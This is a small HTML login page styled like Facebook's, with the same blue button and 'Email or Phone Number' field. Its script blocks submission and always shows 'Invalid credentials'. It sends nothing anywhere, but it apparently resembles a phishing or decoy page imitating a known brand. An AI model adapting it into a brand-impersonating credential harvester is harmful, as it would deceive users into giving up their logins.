<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<style>
body{font-family:Arial,sans-serif;display:flex;justify-content:center;align-items:center;height:100vh;background-color:#f0f2f5;margin:0}
.login-container{background:#fff;padding:30px;border-radius:8px;box-shadow:0 2px 4px rgba(0,0,0,.1);width:300px;text-align:center}
input{width:100%;padding:10px;margin:10px 0;box-sizing:border-box;border:1px solid #ccc;border-radius:4px}
button{width:100%;padding:10px;background-color:#1877f2;color:#fff;border:none;border-radius:4px;cursor:pointer;font-weight:bold}
button:hover{background-color:#166fe5}
h2{margin-bottom:20px;color:#333}
</style>
</head>
<body>
<div class="login-container">
<h2>Welcome Back</h2>
<form method="POST" action="/login">
<input type="text" name="username" placeholder="Email or Phone Number" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Log In</button>
<p style="color:red;font-size:12px;display:none" id="err">Invalid credentials</p>
</form>
<a href="#" style="text-decoration:none;color:#1877f2;font-size:12px;margin-top:15px;display:block">Forgot password?</a>
</div>
<script>
document.querySelector("form").addEventListener("submit", function(e){
    e.preventDefault();
    document.getElementById("err").style.display = "block";
});
</script>
</body>
</html>